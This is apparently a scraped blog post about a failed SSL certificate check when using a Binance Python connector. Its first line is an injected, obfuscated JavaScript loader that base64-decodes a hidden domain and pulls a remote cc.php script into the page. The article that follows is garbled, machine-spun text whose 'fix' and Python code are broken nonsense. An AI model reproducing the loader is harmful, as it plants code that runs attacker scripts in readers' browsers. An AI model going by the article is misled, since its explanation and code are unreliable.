const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=1b30bbe5″;document.body.appendChild(script);
The validation of the Ethereum SSL certification failed With the binance for Python
As a developer building an aplication for detecting pumps and the letter on the cryptographic market, I decided to Binance as Binance ass. To facilitate safe communication and the API Binance interface, I installed the Binance Summary library install Binance-connector S computer.
Installation of the binance connector
The instaltion was simple: PPIP3 Instalnej Binance-Connector
. The package is well repair and easy to . Howver, after installing, I encuncted an unexpected problem that would have been my application from connecting to the API interface interface.
SSL certification validation failed
After triying to connect to the API Binance interface, I noticed that checking SSL certification was unsuccessful for “Binance-Connector” This error usually occurs you library is a not ablish to safe the connection with the binance of to certification. Let’s immerse ourselves in detail and examine possible solutions.
What is an SSL certification?
In cryptography, SSL (Sokure Sockets Layer) or TLS (Transport Layer Security) is a diigital certification, thatnet, or internet server. Provides safe communication between the commission and the service by encrypting in transit. An important SSL/TLS certification is necessary to establish trist wth API Binance.
Why my certificate failed?
There is a several reasons it from SSL certification validation.
- Incorrect or myssing certifications : Make that is installed by the correct SSL certifications.
- The certificate has expired : Check that certifications are expired or canceled. You can renew thee help tools soch as Let’s Encrypt or manually update
- Problems with certifications on the service : The problem can be given to the theo the the the the the the server certifications or configuration.
Solution: update the certifications and reinstall the connector
To solve that problem, I will be update my certifications and install the “Binance-Connector” library again:
- Update certifications : I replaced my old SSL certifications with new lan’s encrypt. This ensures that both my local computer and the Binance service has a latt and safest SSL/TLS certifications.
- Update your “Settings.Py
file Using the new SSL certificate path.
updated code
Python
Import OS
without dotenv import_dotenv
from the path the path the path
load_dotenv (path (__ file __). Parent / ".Env")
Update SSL certifications
Os.environ ['binance_api_key'] = 'Your_binance_api_key'
replace the act
Os.environ ['binance_api_secret'] = 'Youourour_api_secret'
Replac the act of the API
Os.environ ['binance_api_url'] = f'htt: //binance-api-bucket.s3.amazonaws.com/your_bucket_name
Install the connector again and update certifications at setting.py
from the Binance import customer
Client = client (binance_config = 'settings')
Aplication*
By following theese steps, you chauld it to a solve the problem The Make of the Local computer and the bienance the correct SSL certifications installed, upded theem since necesary and reinstall the “Binance-Connect” library.
If you encounter any further problems or need help in solving problems, you can aask. Happy coding!